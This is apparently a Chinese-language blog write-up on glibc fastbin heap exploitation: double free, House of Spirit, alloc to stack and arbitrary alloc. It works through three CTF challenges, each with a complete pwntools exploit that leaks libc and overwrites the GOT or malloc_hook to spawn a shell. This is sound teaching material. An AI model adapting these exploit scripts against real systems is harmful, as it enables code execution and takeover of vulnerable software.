Fastbin attack
2022-03-05 22:38:17

fastbin attack:

漏洞利用前提:

存在栈溢出,UAF等能控制chunk内容的漏洞

漏洞发生于fastbin类型的chunk中

漏洞类型介绍以及利用方式:

1、Fastbin Double Free

2、House of Spirit

这两种侧重利用free函数释放的真实的chunk或伪造的chunk,然后再次申请chunk进行攻击

3、Alloc to Stack

4、Arbitrary Alloc

这两种侧重于故意修改fd指针,直接利用malloc申请指定位置chunk进行攻击

漏洞原理:

fastbin使用单向链表维护堆块的释放,并且fastbin管理的chunk即使被释放,next_chunk的prev_inuse位也不会清空。

fastbin double free:

介绍:

fastbin中的chunk被释放了两次(>=2)==》被释放的chunk可以在fastbin中存在多次==》多次分配时可从fastbin链表中取出同一个堆块

漏洞利用原因:

fastbin的堆块释放后next_chunk的prev_inuse位不会被清空

fastbin在执行free的时候仅验证main_arena直接指向的块==》链表指针头部的块,对于后面的块没有进行验证

add()#1
add()#2

free(1)
free(2)

free(1)

add(xx,bss_chunk)#从fastbin中申请出chunk1,并将chunk1的fd指针指向我们想要控制的地址,例:bss_chunk

add()#申请出chunk2
add()#再一次申请出chunk1
add()#此次将会申请出目标地址,获得bss_chunk控制权

house of spirit:

核心:在目标位置伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的

与fastbin double free区别:

fastbin double free所释放的chunk是本身程序自己malloc产生的,但是house of spirit是去释放指定地址的chunk

fake chunk需要绕过的检测:

ISMMAP位不能为1,对于free的mmap的chunk,会进行单独处理

地址需要对齐,MALLOC_ALIGN_MASK

size需要满足fastbin需求

next chunk大小不能小于2*SIZE_SZ,不能大于av->system_me

效果:

能修改指定地址的前后内容使其绕过对应的检测

例题:

2014_hack.lu_oreo:

检查保护:

只开启了canary和NX保护

静态分析:
主函数:

run()函数

1、添加步枪:

可将添加功能看作是一个结构体:

desc占据25字节

name占据27字节

malloc_point占据4字节

注意点:

1、name最大27字节,desc最大25字节,但是在功能中却允许最大输入为56个字节==》输入的字符串可以突破成员变量的限制,导致数据溢出到其他成员变量中

2、dowrd_804A288这个全局变量指针存放的是malloc指针,这个malloc指针并没有按照任何结构摆放==》

每一次申请一个chunk,他的上一个申请的malloc指针都将被覆盖成新的malloc指针==》

dowrd_804A288全局变量只会存在一个chunk的malloc指针==》即最后的一次申请的malloc指针

2、查看已添加的步枪:

dowrd_804A288全局变量中只存放最后一个申请的chunk的malloc指针==》变量i就是chunk的malloc指针

==》在一次循环结束会进行i = *(i + 13)操作==》正好指向结尾处前一个chunk的malloc指针==》该功能会一次性将所有创建的信息打印出来

3、订购枪支:

注意点:

在循环释放中,ptr指针每一次被释放之后都会被v1变量重新赋值==》在最后一次被释放后ptr并不会被清空

==》UAF

4、订单留言:

5、显示当前状态:

思路总结与动态调试:

1、枪支具有的结构体信息

2、添加枪支功能中有堆溢出

3、在显示枪支中会把所有创建的chunk打印

4、订单提交中存在UAF

5、dword_804A288:内部存储最后一个被创建的chunk的malloc指针

6、dword_804A2A4:申请的次数

7、dword_804A2A8:留言地址

申请两个chunk:32位程序的chunk头大小为0x8==》malloc(0x38)==》size=0x40

===》

此时只需堆溢出至point区域==》

#利用堆溢出将point指针指向puts@got
payload='a'*27+p32(elf.got['puts'])
desc='b'*24

add(payload,desc)

==》使用打印功能可以将函数的真实地址打印出来==》获得system()和’/bin/sh’的地址

#泄露地址,接收,获得system函数地址
show()

io.recvuntil('Description: ')
io.recvuntil('Description: ')

puts_addr=u32(io.recv(4))

libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']

将xx函数的got改成system(‘/bin/sh’)==》伪造chunk==》在全局变量处伪造chunk==》

dword_804A2A4:

将0x804A2A4看作size区,0x804A2A0看作prev_size区===》程序无法自定义创建的chunk大小,固定为0x40

==》通过申请0x40次chunk使0x804A2A4变为0x40,这40个chunk的point要设置为NULL,fastbin装不下多的==》0x804A2A8至0x804A2D8为data区==》

#申请0x40个chunk使0x804A2A4变为0x40
for i in range(0x3e):
	add('a'*27+p32(0),'a')

masg_addr=0x804a2a8
payload='c'*27+p32(masg_addr)
add(payload,'d'*24)

伪造chunk绕过检查:

next chunk:

if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))    //大于一个header
                          <= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
        || __builtin_expect (chunksize (chunk_at_offset (p, size))    
                             >= av->system_mem, 0))
      {
        bool fail = true;
        /* We might not have a lock at this point and concurrent modifications
           of system_mem might result in a false positive.  Redo the test after
           getting the lock.  */
        if (!have_lock)
          {
            __libc_lock_lock (av->mutex);
            fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
                    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
            __libc_lock_unlock (av->mutex);
          }
        if (fail)
          malloc_printerr ("free(): invalid next size (fast)");
      }

==》大于 2 * SIZE_SZ 且小于 av->system_mem ==》

next chunk从0x804A2E0开始==》通过留言功从0x804a2c0地址处能将next chunk的prev_size设置为0x40,size设置为0x40(符合条件即可)==》

payload=0x20*'a'+p32(0x40)+p32(0x40)

#绕过next chunk,使用留言功能伪造next chunk
payload='\x00'*0x20+p32(0x40)+p32(0x40)

massage(payload)

伪造完chunk后使用提交订单功能将fake_chunk释放==》

==》再次申请fake_chunk,在0x804a2a8处写入xx@got==》在调用写留言功能时将跳转至该函数got中,进行got覆盖==》覆盖成system(‘/bin/sh’)==》get shell

str_got=p32(elf.got['strlen'])
#此时申请回fake_chunk
add('a',str_got)

#使用留言功能覆盖got表
massage(p32(sys_addr)+';/bin/sh')

exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *

io=process('./oreo')
#io=remote()
elf=ELF('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def add(name,desc):
        #io.recvuntil("Action: ")
        io.sendline('1')
        #io.recvuntil("Rifle name: ")
        io.sendline(str(name))
        #io.recvuntil("Rifle description: ")
        io.sendline(str(desc))

def show():
        #io.recvuntil("Action: ")
        io.sendline('2')
        io.recvuntil("===================================")

def order():
        #io.recvuntil("Action: ")
        io.sendline('3')

def massage(content):
        #io.recvuntil("Action: ")
        io.sendline('4')
        #io.recvuntil("Enter any notice you'd like to submit with your order: ")
        io.sendline(content)

#堆溢出控制point        
payload='a'*27+p32(elf.got['puts'])
desc='b'*24

add(payload,desc)

#泄露puts函数地址
show()

io.recvuntil('Description: ')
io.recvuntil('Description: ')

puts_addr=u32(io.recv(4))
#计算偏移与system函数地址
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']

#进入伪造堆块过程:
#申请0x40个chunk使0x804A2A4变为0x40
for i in range(0x3e):
	add('a'*27+p32(0),'a')

masg_addr=0x804a2a8
payload='c'*27+p32(masg_addr)
add(payload,'d'*24)

#绕过next chunk,使用留言功能伪造next chunk
payload='\x00'*0x20+p32(0x40)+p32(0x40)

massage(payload)

#释放所有堆块
order()

str_got=p32(elf.got['strlen'])
#此时申请回fake_chunk
add('a',str_got)
#使用留言功能覆盖got表
massage(p32(sys_addr)+';/bin/sh')

#gdb.attach(io)

io.interactive()
本地执行exp:

alloc to stack:

劫持fastbin链表中chunk的fd指针,把fd指针指向我们要分配的栈上,实现控制栈中的执行流

例题:

2015_9447ctf_search-engine:

检查保护:

静态分析+动态跟踪:

主函数:

sub_400A40:

sub_4009B0:

函数功能描述:

1、接收输入的字符串

2、判断输入内容截止位置

3、限制输入长度

sub_400AD0:

释放每个句子的malloc指针==》句子被释放,指针并没有被清空==》

单词结构体中存储的单词仅仅是一个句子的指针==》单词会被置’\x00’==》

句子对应的单词仍然存在于链表中,并没有被删除==》

chunk被释放至bin中,当chunk不是fastbin或者chunk重新分配出去使用的时候==》double free

句子被memset==》单词变为’\x00’==》仍然可以通过两个’\x00’的比较绕过memcmp的比较

sub_400C00:

最后的循环总结:

遍历过程中没遇到一个空格就为新单词创建一个新的结构体==》

每一个单词结构体创建结束之后qword_6020B8全局变量都会记录该结构体的malloc指针

在新单词遍历结束时qword_6020B8全局变量会将前一个单词的malloc指针赋给当前单词结构体的第5个成员变量

结构体:

1、n_word_addr==》句子中第n个word的起始地址
2、n_word_size==》句子中第n个word的长度
3、sentence_addr==》句子的起始地址
4、sentence_size==》句子的长度
5、prev_word_struct_addr(在循环中设置)

循环执行例:

输入aa bb cc==》

aa:未进入循环时结构体A已经建好

创建4个成员变量,aa为第一个单词无第五成员变量

bb:在遍历到第一个空格时创建bb的结构体B,前4个变量与aa相同

第五成员变量由全局变量qword_6020B8提供==》前一个单词的结构体的malloc指针

cc:遍历到第二个空格时创建cc的结构体C,前4个成员变量与前面一样

第5个成员变量由全局变量qword_6020B8提供==》前一个单词的结构体的malloc指针

==》chunk2的第五成员变量使用chunk3的prev_size存储==》存储的是chunk1的data地址

==》chunk3的第五成员变量使用top chunk的prev_size存储==》存储的是chunk2的data地址

此时qword_6020B8全局变量存储的是chunk3的data地址

输入aa bb cc 时==》

遍历到第三个空格,也就是cc后的空格,创建结构体D,成员变量同上,判断空格后无字符==》结构体D被释放

逻辑解释==》

==》

==》

思路总结+动态调试:

system()==》泄露获得==》

程序的main_arena到libc的基地址是固定的0x3c4b20==》

libc_base = main_arena_addr - main_arena_offset(0x3c4b20)

==》需要main_arena的地址==》当释放一个不是fast_chunk的块==》进入unsorted bin==》

当unsorted bin中只有一个chunk,并且这个chunk的下一个块不是top chunk==》

该chunk的fd和bk指针均指向unsorted bin的起始地址==》

unsorted bin 距离main_arena的偏移是固定的88==》

main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena(88

===》

首要目的==》泄露unsorted bin==》创建一个small bin大小的chunk==》

small_bin='a'*0x85+' b '
index(small_bin)

search('b')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')

==》

已知信息:

1、句子在释放后会以\x00的形式填充清空

2、在free()函数执行之后并没有将被释放chunk的指针置空==》double free

3、在搜索单词功能的中存在两处检查==》检查结构体第三成员变量sentence_addr所指向的位置是否有值,检查输入的size是否与结构体第二变量word一致

==》绕过检查==》

检查1==》指向的地址内句子的内容被fd和bk覆盖了,第一处检查符合

检查2==》在释放完chunk后内容会被覆盖为\x00==》再次通过所有\x00可以重新释放unsorted bin中的chunk了==》\x00占一个字节==》符合第二检查条件

==》

search('\x00')
io.recvuntil("Found "+str(len(small_bin))+': ')
unsorted_bin=u64(io.recv(8))
print(hex(unsorted_bin))
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')#只需打印,不用删除

==》计算main_arena==》计算libc基地址==》

main_arena=unsorted_bin-88
libcbase=main_arena-0x3c4b20

==》get shell==》控制hook==》控制malloc_hook==》将malloc_hook位造成fake_chunk==》

malloc_hook附近的chunk大小一般为0x70==》malloc_hook作为内容的fake_chunk的size同样需要0x70

==》需要经历释放后重新被启用的过程==》fake_chunk被释放==》挂进fastbin==》重新启用同一个chunk的形式将fake_chunk挂进fastbin中==》

fake_chunk的大小为0x70==》循环列表中的chunk的size也必须大于0x60,小于0x70==》

1、添加句子a==》’a’*0x5d+’ d ‘

2、添加句子b==》’b’*0x5d+’ d ‘

3、添加句子c==》’c’*0x5d+’ d ‘

index('a'*0x5d+' d ')
index('b'*0x5d+' d ')
index('c'*0x5d+' d ')

==》索引单词d==》3条句子均被删除==》

search('d')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')

fastbin链表:a->b->c->NULL(遍历句子的时候是从后向前遍历,首先释放c)==》

匹配单词\x00==》此时句子c中无内容,a,b中有fd==》绕过sentence_ptr检查==》

再次删除==》搜索单词\x00==》c验证不通过,b验证通过,释放,a验证通过,释放(释放不删除)==》

fastbin链表:b->a->b->a->NULL

==》doule free b

search('\x00')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')#chunk b再释放,形成循环链表
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')#已构成循环链表,chunk a已经不需要释放了
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')#在泄露libc时创建的chunk 无需释放

计算malloc_hook地址==》

malloc_hook相对于main_arena的偏移是0x10,malloc_hook在main_arena的低地址位==》

使用pwndbg寻找fake_chunk==》

==》fake_chunk:0x7f73ed42faed==》计算偏移==》

fake_offset_hook=malloc_hook-fake_chunk=0x7f73ed42fb100x7f73ed42faed=0x23
fake_offset_main_arena=fake_offset_hook+0x10=0x33

将fake_chunk链入fastbin链表==》修改chunk b的fd指针,指向fake_chunk==》重新启用chunk b==》

申请size为0x70的chunk==》

fake_chunk=p64(main_arena-0x33).ljust(0x60,'x')
index(fake_chunk)

此时fastbin中的chunk b已经指向fake_chunk==》

fastbin链表状态:a->b->fake_chunk

只需将这块fake_chunk申请出来,在其中部署one_gadget==》malloc_hook上覆盖one_gadget==》

get shell

index('a'*0x60)#a
index('a'*0x60)#b

#one_gadget=libcbase+0x45226
#one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
one_gadget=libcbase+0xf1247

payload='a'*0x13+p64(one_gadget)
#malloc相对于fake_chunk的偏移为0x23,去掉chunk头剩下0x13
#malloc_hook的起始地址相对于fake_chunk数据区起始地址的偏移为0x13
payload=payload.ljust(0x60,'c')
index(payload)
exp:
#coding=UTF-8

from pwn import *
from LibcSearcher import *

io=process('./search')
elf=ELF('./search')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def search(word):
	io.recvuntil("3: Quit")
	io.sendline('1')
	io.recvuntil("Enter the word size:")
	io.sendline(str(len(word)))
	io.recvuntil("Enter the word:")
	io.send(word)

def index(content):
	io.recvuntil("3: Quit")
	io.sendline('2')
	io.recvuntil("Enter the sentence size:")
	io.sendline(str(len(content)))
	io.recvuntil("Enter the sentence:")
	io.send(content)

small_bin='a'*0x85+' b '
index(small_bin)

search('b')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')

search('\x00')
io.recvuntil("Found "+str(len(small_bin))+': ')
unsorted_bin=u64(io.recv(8))
print(hex(unsorted_bin))
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')

main_arena=unsorted_bin-88
libcbase=main_arena-0x3c4b20


index('a'*0x5d+' d ')
index('b'*0x5d+' d ')
index('c'*0x5d+' d ')

search('d')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
#gdb.attach(io)

search('\x00')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('y')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')
io.recvuntil("Delete this sentence (y/n)?")
io.sendline('n')

fake_chunk=p64(main_arena-0x33).ljust(0x60,'x')
index(fake_chunk)

index('a'*0x60)
index('a'*0x60)

#one_gadget=libcbase+0x45226
#one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
one_gadget=libcbase+0xf1247

payload='a'*0x13+p64(one_gadget)
payload=payload.ljust(0x60,'c')
index(payload)

#gdb.attach(io)

io.interactive()

exp本地调试:

arbitrary alloc:

与alloc to stack相同,唯一的区别就是分配的目标可以不再是栈中,只要满足目标地址存在合法的size域,我们都可以把chunk分配到任意内存中,比如bss,heap,data,stack等

例:分配fastbin到mallloc_hook的位置,相当于覆盖malloc_hook来控制程序流程

例题:

2017 0ctf babyheap:

检查保护:

保护全开

静态分析:

主函数:

sub_B70:

add:

该函数无返回值,参数为sub_B70()函数返回的随机地址

结构体:

inuse
size
calloc_addr

内容填充函数:

delete:

show:

动态调试:

申请堆块,查看结构体位置==》

结构体:

==》

inuse成员变量为1

第二成员变量为输入的size

第三成员变量chunk的data区==》

第一步:泄漏地址==》泄漏main_arena地址==》unsorted_addr==》

不与top chunk相邻的第一个被释放进unsorted bin的chunk的fd指向unsorted_addr==》

构造unsorted bin==》

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4

将chunk2和chunk1释放,进入fastbin中==》

dele(2)
dele(1)

chunk1_fd–>chunk2_fd–>NULL==》

通过向chunk中填充chunk的功能实现堆溢出==》

通过chunk0溢出至chunk1,修改chunk1的fd指针,指向chunk4==》

payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
#0x10字节在chunk0的data中占位
#p64(0)+p64(0x21)为chunk1的chunk头
#p8(0x80)覆盖chunk1_fd的最后一个字节为0x80
fill(0,len(payload),payload)

覆盖前:

覆盖后:

chunk1–>chunk4==》

想要对chunk4进行操作==》重启fastbin中的chunk4==》chunk4的size为0x90,不是0x20==》无法启用

==》通过chunk3向chunk4中溢出数据==》修改chunk4的szie为0x20==》重新启用chunk4==》

payload='a'*0x10+p64(0)+p64(0x21)

fill(3,len(payload),payload)

申请两次chunk==》第一次申请到chunk1,第二次申请到chunk4==》此时0x20大小的chunk4有另外一个名字==》chunk2==》此时将chunk4重新修改回0x90==》将chunk4释放进入unsorted==》

此时我们可以利用chunk2控制已经释放的chunk4==》

payload='a'*0x10+p64(0)+p64(0x91)

fill(3,len(payload),payload)

add(0x80)#5
#不与top chunk相邻的第一个释放的chunk,fd==>unsorted_addr
dele(4)
show(2)

io.recvuntil("Content: \n")#注意换行符
unsorted_addr=u64(io.recv(8))

计算基地址==》

main_arena=unsorted_addr-88
libcbase=main_arena-0x3c4b20

伪造chunk==》malloc_hook==》在malloc_hook附近寻找一个可用的fake_chunk==》

先申请一个size为0x70的chunk6(占用以释放的chunk4)==》将其释放进fastbin==》

可以通过chunk2对其控制==》向chunk2中填充fake_chunk的地址==》chunk6的fd==》fake chunk==》

add(0x60)
dele(4)

fake_chunk_addr=main_arena-0x33
fake_chunk=p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)

==》申请出第一个0x70的chunk6,申请第二个0x70的fake_chunk==》

add(0x60)
add(0x60)

get shell==》one gadget==》

#one_gadget=libcbase+0x45226
one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
#one_gadget=libcbase+0xf1247

payload='a'*0x13+p64(one_gadget)
fill(6,len(payload),payload)#fake_chunk

add(0x40)#get shell
exp:
#coding=UTF-8

from pwn import *
from LibcSearcher import *

io=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size):
	io.recvuntil("Command: ")
	io.sendline('1')
	io.recvuntil("Size: ")
	io.sendline(str(size))

def fill(index,size,content):
	io.recvuntil("Command: ")
	io.sendline('2')
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Content: ")
	io.sendline(content)

def dele(index):
	io.recvuntil("Command: ")
	io.sendline('3')
	io.recvuntil("Index: ")
	io.sendline(str(index))

def show(index):
        io.recvuntil("Command: ")
        io.sendline('4')
        io.recvuntil("Index: ")
        io.sendline(str(index))

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4

dele(2)
dele(1)

payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)

fill(0,len(payload),payload)

payload='a'*0x10+p64(0)+p64(0x21)

fill(3,len(payload),payload)

add(0x10)
add(0x10)

payload='a'*0x10+p64(0)+p64(0x91)

fill(3,len(payload),payload)

add(0x80)
dele(4)
show(2)

io.recvuntil("Content: \n")
unsorted_addr=u64(io.recv(8))
print(hex(unsorted_addr))

main_arena=unsorted_addr-88
libcbase=main_arena-0x3c4b20
print(hex(libcbase))

add(0x60)
dele(4)

fake_chunk_addr=main_arena-0x33
fake_chunk=p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)

add(0x60)
add(0x60)

#one_gadget=libcbase+0x45226
one_gadget=libcbase+0x4527a
#one_gadget=libcbase+0xf03a4
#one_gadget=libcbase+0xf1247

payload='a'*0x13+p64(one_gadget)
fill(6,len(payload),payload)#fake_chunk

add(0x40)#get shell
#gdb.attach(io)

io.interactive()
exp远程执行: